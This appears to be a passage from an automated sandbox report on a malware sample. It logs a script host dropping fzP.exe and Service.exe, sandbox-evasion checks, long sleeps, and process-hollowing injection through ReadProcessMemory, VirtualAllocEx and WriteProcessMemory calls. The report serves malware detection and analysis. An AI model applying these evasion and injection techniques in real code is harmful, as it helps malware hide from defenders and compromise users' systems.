Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Service.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 30B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 31F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 51F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: D90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 27E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2580000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2AD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2B50000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 4B50000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: EB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2BD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 29D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: FE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2A40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2970000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: D80000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2930000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 4930000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: EA0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 29D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 27E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: E80000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2BD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 28F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 11B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2C90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2BE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: D40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 28B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 48B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2380000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2530000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 4530000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: B10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 28B0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: B10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 17F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 3240000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 1870000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 1350000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2CC0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 4CC0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: A50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2610000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: A50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 1020000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2980000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 4980000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 3090000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 3270000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 30E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2E90000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 30F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2E90000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 1730000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 30D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 50D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 860000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 2440000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: 4440000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2DA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2FA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 4FA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 9D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2420000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: A70000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2C60000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2E10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 4E10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 10E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2EC0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2DF0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 1320000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 3090000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2EF0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 7B0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 2380000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Service.exe Memory allocated: 4380000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Window / User API: threadDelayed 811 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Window / User API: threadDelayed 9178 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 1496 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 4124 Thread sleep count: 811 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 4124 Thread sleep time: -811000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 4124 Thread sleep count: 9178 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 4124 Thread sleep time: -9178000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 1488 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 432 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 7108 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 5348 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 1892 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 2680 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 5316 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 6208 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 6252 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 6716 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 5948 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 5016 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 5636 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 2584 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 4788 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 6120 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 6164 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fzP.exe TID: 6136 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 6188 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 6512 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 4308 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 5016 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 6036 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Service.exe TID: 7104 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Service.exe Thread delayed: delay time: 922337203685477
Source: wscript.exe, 00000000.00000002.2048119654.000001AF2FCF8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}yl+
Source: fzP.exe, 00000003.00000002.3319601330.00000000008DA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll`
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\System32\wscript.exe File created: fzP.exe.0.dr Jump to dropped file
.NET source code references suspicious native API functions
Source: 2.2.fzP.exe.3235fac.2.raw.unpack, reflect.cs Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)
Source: 2.2.fzP.exe.3235fac.2.raw.unpack, reflect.cs Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num2, length, 12288, 64)
Source: 2.2.fzP.exe.3235fac.2.raw.unpack, reflect.cs Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num4, data, bufferSize, ref bytesRead)
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 7C0000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 620000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Memory written: C:\Users\user\AppData\Local\Temp\fzP.exe base: 1D0000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 5B0000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Service.exe Memory written: C:\Users\user\AppData\Roaming\Service.exe base: 140000 value starts with: 4D5A
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
